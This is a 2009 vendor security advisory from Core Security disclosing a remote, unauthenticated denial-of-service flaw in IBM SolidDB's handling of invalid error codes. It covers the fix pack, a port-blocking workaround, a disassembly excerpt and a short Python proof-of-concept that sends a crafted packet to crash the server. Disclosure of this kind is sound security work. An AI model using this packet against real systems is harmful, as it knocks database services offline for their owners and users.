Core Security - CoreLabsIBM SolidDB invalid error code vulnerability
Title: IBM SolidDB invalid error code vulnerability
Advisory Id: CORE-2009-1027
Advisory URL: http://www.coresecurity.com/content/ibm-soliddb-errorcode-dos
Date published: 2009-11-18
Date of last update: 2009-11-18
Vendors contacted: IBM
Release mode: Forced release
SolidDB is an in-memory relational database from IBM with over 3,000,000 deployments . It is used as an embedded database by independent software vendors of enterprise applications, telecommunications and embedded software and systems. IBM reports SolidDB as being used in mission-critical applications from Cisco, HP, Alcatel and Nokia Siemens. The in-memory database is also used as core component of IBM SolidDB Universal Cache, a performance improvement application for relational databases such as DB2, Microsoft SQL Server, Oracle and Informix.
A remotely exploitable vulnerability was found in the database server core component. Exploitation of this bug does not require authentication and will lead to a remotely triggered denial of service of the database service. It is not likely that this bug could be otherwise exploited to compromise systems running vulnerable versions of SolidDB. Core's security advisory CORE-2009-0814 refers to this vulnerability in HP OpenView Network Node Manager 
IBM has issued the SolidDB and SolidDB Universal Cache 6.3 Fix Pack 3 which addresses this problem. It is available for download from the vendor's Fix Central site:
Blocking or restricting network access to port 2315/tcp will prevent exploitation of the bug but it may have a negative impact for the operation of any application embedding or using the SolidDB engine.
This vulnerability was discovered and researched by Damián Frizza from Core Security Technologies.
IBM SolidDB server listens and accepts remote connections on port 2315/tcp. The service is implemented by
solid.exe which is started automatically on boot. For certain transactions, upon receiving a packet from the network the service will attempt to determine and display an error code string based on an error code number specified in the packet. By sending a specially crafted packet with an invalid error code number it is possible to trigger an exception that forces abnormal termination of the service. It is unlikely that the bug could be exploited for anything other than a remote denial of service.
The following code excerpt explains the problem:
0061611F 0FB65424 02 MOVZX EDX,BYTE PTR SS:[ESP+2] 00616124 0FBF4C24 03 MOVSX ECX,WORD PTR SS:[ESP+3] 00616129 83F9 FF CMP ECX,-1 0061612C 0FBF4424 05 MOVSX EAX,WORD PTR SS:[ESP+5] 00616131 8956 10 MOV DWORD PTR DS:[ESI+10],EDX 00616134 8B5424 07 MOV EDX,DWORD PTR SS:[ESP+7] 00616138 894E 14 MOV DWORD PTR DS:[ESI+14],ECX 0061613B 8946 18 MOV DWORD PTR DS:[ESI+18],EAX 0061613E 8956 0C MOV DWORD PTR DS:[ESI+C],EDX 00616141 7D 09 JGE SHORT solid.0061614C 00616143 83F8 FF CMP EAX,-1 00616146 7D 04 JGE SHORT solid.0061614C 00616148 3BC8 CMP ECX,EAX 0061614A 74 05 JE SHORT solid.00616151 0061614C B8 01000000 MOV EAX,1 00616151 83C4 0C ADD ESP,0C 00616154 C3 RETN
The code above checks for an error condition based on the value of an Error Code field in the inbound network packet. An error condition is explicitly handled if the Error Code value is less than or equal to -1, in which case a MessageBox with a corresponding descriptive error string will be presented to the user. However, by crafting a packet with any negative value in the Error Code field different from -1 the lookup for the corresponding error string will fail triggering a non-recoverable error and thus terminating the server process.
The following python code can be used to reproduce the bug:
#!python import socket import struct #maxlen 0xA a = struct.pack('<b', 2) a += struct.pack('<H', 0) a += struct.pack('<H',0xFEFF) a += struct.pack('<H',0xFEFF) a += "1234" target_ip = 'X.X.X.X' s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) s.connect ((target_ip, 2315)) s.send(a) s.close()
 IBM SolidDB
 HP Openview NNM 7.53 Invalid DB Error Code vulnerability
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs.
Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com.
The contents of this advisory are copyright (c) 2009 Core Security Technologies and (c) 2009 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at /legacy/files/attachments/core_security_advisories.asc.